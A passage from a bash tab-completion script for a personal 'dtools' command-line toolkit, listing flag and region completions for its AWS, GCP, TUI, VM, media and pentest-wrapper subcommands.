--project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc find-and-replace\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc visualizations-2\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network full-browser\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm mac\'*\'--share-directory\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc youtube-music-2\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs list-log-groups\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm delete-parameter\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm update-parameter\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network proxy-with-nginx\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-protocol --tcp-port -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ansible decrypt-variable\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --help --variable -f -h -v")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm get-parameter\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm get-parameter\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm create-parameter\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development openapi\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws export-sso-creds\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws export-sso-creds\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'java analyze-with-sonar\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sonar-login --sonar-project-key --sonar-url -h -k -l -u")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development journal\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network archive-website\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm list-parameters\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex deploy-model\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--accelerator --container-image --container-port --display-name --endpoint-name --health-route --help --location --machine-type --model-gcs-uri --predict-route --project -c -d -e -h -l -m -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --since --stdout --verbose -h -p -r -s -v")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc visualizations\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp get-project-number\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network mitm-proxy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc youtube-music\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network api-client\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ip-traffic netscanner network-diags socket-stats upkit wavemon")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ai open-llama-api-docs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development readme\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws toggle-auto-prompt\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development wrkflw\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db bigquery\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc ascii-theater\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --filter --help --profile --region -f -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ansible encrypt-string\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-output-to-clipboard --help -c -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data database-ide\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network proxymock\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest storm-breaker\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document merge-pdf\'*\'-i\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'--service\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ai start-llama-server\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm get-parameter\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui docker kubernetes\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc presentation\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc file-manager\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex predict\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex predict\'*\'-f\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development jira\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc screensaver\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'backup\'*\'--backup-dest\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network carbonyl\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development drft\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development gama\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm windows\'*\'--version\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "11 11l 11e 10 10l 10e 8e 7e ve xp 2025 2022 2019 2016 2012 2008 2003")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean package-caches\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws export-sso-creds\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp login\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document decrypt-pdf\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network https-proxy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --https-port --proxy-target-host --proxy-target-port --ssl-certificate -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development git\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development ecs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development gcs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development prs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'start-simple-server\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network mermaid-api\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp login\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws login\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest netdiscover\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest aircrack-ng\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-secret list-secrets show-secret")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network warc-2-zim\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex predict\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--endpoint-name --file --help --location -e -f -h -l")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network mitm-proxy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port --script-file -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development s3\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document merge-pdf\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --input-file -h -i")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui sandbox regect\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest msfconsole\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws login\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network elinks\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video split-scenes\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--content-threshold --fade-threshold --help --keep-duration -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean build-caches\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'git search-history\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc jellyfin\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc calendar\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc dev-chat\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui sandbox desed\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network proxy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'generate-password\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-to-clipboard --help -c -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data explorer\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video boost-audio\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --multiplier --output-file -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui dev-help wiki\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest bettercap\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network tcp-proxy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-port --tcp-host --tcp-port -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui docker docker\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'date-to-iso-8601\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document convert\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file --source-format --target-format -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network ping\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc linutil\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc weather\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc servarr\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network lynx\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest arpspoof\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm mac\'*\'--version\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "15 14 13 12 11")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui sandbox play\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h awk grep sed")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ai open-llama-ui\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'java set-version\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h 11 17 21 8")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest ifconfig\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui sandbox jqp\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest maltego\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h drft ecs gama gcs git jira journal multi-host-log-viewer openapi prs readme s3 tail-logs terraform wrkflw")" -- "$cur")' echo $' ;;' echo $'' echo $' \'install ansible\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean bleachbit\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network w3m\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video rip-audio\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --output-file --title -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm linux\'*\'--dist\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "alma alpine arch cachy centos debian fedora gentoo kali kubuntu mint manjaro mx nixos suse oracle rocky slack tails ubuntu ubuntus xubuntu")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui monitoring\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h kernel-monitor pihole-monitor system-monitor")" -- "$cur")' echo $' ;;' echo $'' echo $' \'real-time-plot\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video duration\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'install docker\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'-s\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest crunch\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db bigquery\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data kafka\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W 